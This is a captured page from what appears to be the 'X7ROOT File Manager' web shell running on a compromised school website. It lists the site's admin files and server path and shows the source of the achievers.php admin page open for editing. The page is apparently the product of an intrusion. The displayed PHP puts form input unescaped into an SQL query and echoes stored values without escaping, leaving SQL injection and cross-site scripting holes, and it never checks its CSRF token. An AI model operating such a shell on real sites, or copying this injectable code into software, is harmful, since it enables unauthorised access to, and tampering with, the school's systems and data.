X7ROOT File Manager
Current Path:
/home/u126090504/domains/chanakyahss.org.in/public_html/admin
home
/
u126090504
/
domains
/
chanakyahss.org.in
/
public_html
/
admin
/
📁
..
📄
achievers.php
(5.15 KB)
📄
admissions.php
(5.67 KB)
📄
banners.php
(5.86 KB)
📄
change_password.php
(3.54 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(6.61 KB)
📄
downloads.php
(4.91 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(7.22 KB)
📄
forgot_password.php
(6.52 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
governing-body-manage.php
(9.12 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(5.32 KB)
📄
grievances.php
(5.79 KB)
📁
includes
📄
index.php
(82 B)
📄
login.php
(6.59 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(4.27 KB)
📄
manage_media.php
(3.02 KB)
📄
manage_photos.php
(6.87 KB)
📄
manage_videos.php
(3.62 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(16.36 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(15.23 KB)
📁
phpmailer
📄
popup.php
(10.68 KB)
📄
public-disclosure.php
(7.33 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(5.21 KB)
📄
submit-grievance.php
(4.97 KB)
📄
syllabus.php
(4.68 KB)
📄
testimonials.php
(10.25 KB)
📄
timetable.php
(3.68 KB)
📄
update_status.php
(1.29 KB)
📄
upi_settings.php
(1.52 KB)
Editing: achievers.php
<?php include 'secure_session.php'; include 'includes/auth.php'; require_once '../config.php'; include 'includes/header.php'; $success = $error = ""; /* CSRF */ if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } $csrf = $_SESSION['csrf_token']; /* ================= IMAGE FUNCTION ================= */ function crop_and_resize_500($srcPath, $destPath, $mime) { $info = getimagesize($srcPath); $w = $info[0]; $h = $info[1]; $src = ($mime == 'image/png') ? imagecreatefrompng($srcPath) : imagecreatefromjpeg($srcPath); $size = min($w, $h); $crop = imagecreatetruecolor($size, $size); imagecopy($crop, $src, 0, 0, ($w-$size)/2, ($h-$size)/2, $size, $size); $final = imagecreatetruecolor(500, 500); imagecopyresampled($final, $crop, 0, 0, 0, 0, 500, 500, $size, $size); imagejpeg($final, $destPath, 90); return true; } /* ================= SAVE ================= */ if(isset($_POST['save_achiever'])){ $name = $_POST['fname']; $course = $_POST['des']; $session = $_POST['exp']; $center = $_POST['qual']; $imgName = ""; if(!empty($_FILES['fimg']['name'])){ $dir = "../uploads/faculty/"; if(!is_dir($dir)) mkdir($dir,0755,true); $imgName = time()."_".$_FILES['fimg']['name']; $tmp = $_FILES['fimg']['tmp_name']; crop_and_resize_500($tmp, $dir.$imgName, mime_content_type($tmp)); } $conn->query("INSERT INTO fboard(fname,des,exp,qual,fimg) VALUES('$name','$course','$session','$center','$imgName')"); header("Location: achievers.php"); } ?> <style> .card-box{ background:#fff; padding:20px; border-radius:12px; box-shadow:0 5px 15px rgba(0,0,0,0.08); } .achiever-card{ border-radius:12px; overflow:hidden; background:#fff; transition:.3s; } .achiever-card:hover{ transform:translateY(-5px); box-shadow:0 10px 20px rgba(0,0,0,0.15); } .achiever-card img{ width:100%; height:200px; object-fit:cover; } /* Drag */ .drag-area{ border:2px dashed #aaa; padding:30px; text-align:center; border-radius:10px; cursor:pointer; } .drag-area.dragover{ background:#eef6ff; } </style> <div class="container py-4"> <div class="d-flex justify-content-between mb-4"> <h3>🎓 Achievers Manager</h3> <a href="dashboard.php" class="btn btn-dark">⬅ Dashboard</a> </div> <!-- FORM --> <div class="card-box mb-4"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="csrf_token" value="<?php echo $csrf;?>"> <div class="row"> <div class="col-md-6 mb-3"> <input type="text" name="fname" class="form-control" placeholder="Name" required> </div> <div class="col-md-6 mb-3"> <input type="text" name="des" class="form-control" placeholder="Course" required> </div> <div class="col-md-6 mb-3"> <input type="text" name="exp" class="form-control" placeholder="Session" required> </div> <div class="col-md-6 mb-3"> <input type="text" name="qual" class="form-control" placeholder="Placed at" required> </div> <div class="col-md-6"> <div class="drag-area" id="dropArea"> 📂 Drag & Drop Photo <input type="file" name="fimg" hidden id="fileInput"> </div> <img id="preview" style="width:100%;margin-top:10px;display:none;"> </div> <div class="col-md-6 d-flex align-items-end"> <button class="btn btn-success w-100" name="save_achiever">Save</button> </div> </div> </form> </div> <!-- GRID --> <div class="row"> <?php $res = $conn->query("SELECT * FROM fboard ORDER BY id DESC"); while($row=$res->fetch_assoc()){ ?> <div class="col-md-3 mb-4"> <div class="achiever-card"> <img src="../uploads/faculty/<?php echo $row['fimg'];?>"> <div class="p-3 text-center"> <h6><?php echo $row['fname'];?></h6> <small><?php echo $row['des'];?></small><br> <small><?php echo $row['exp'];?></small><br> <small><?php echo $row['qual'];?></small> <div class="mt-2"> <a href="?delete=<?php echo $row['id'];?>" class="btn btn-danger btn-sm w-100">Delete</a> </div> </div> </div> </div> <?php } ?> </div> </div> <script> const dropArea = document.getElementById("dropArea"); const input = document.getElementById("fileInput"); const preview = document.getElementById("preview"); dropArea.onclick = () => input.click(); dropArea.addEventListener("dragover", e=>{ e.preventDefault(); dropArea.classList.add("dragover"); }); dropArea.addEventListener("dragleave", ()=>{ dropArea.classList.remove("dragover"); }); dropArea.addEventListener("drop", e=>{ e.preventDefault(); dropArea.classList.remove("dragover"); const dt = new DataTransfer(); for (let i = 0; i < e.dataTransfer.files.length; i++) { dt.items.add(e.dataTransfer.files[i]); } input.files = dt.files; preview.src = URL.createObjectURL(input.files[0]); preview.style.display = "block"; }); input.addEventListener("change", ()=>{ preview.src = URL.createObjectURL(input.files[0]); preview.style.display = "block"; }); </script> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder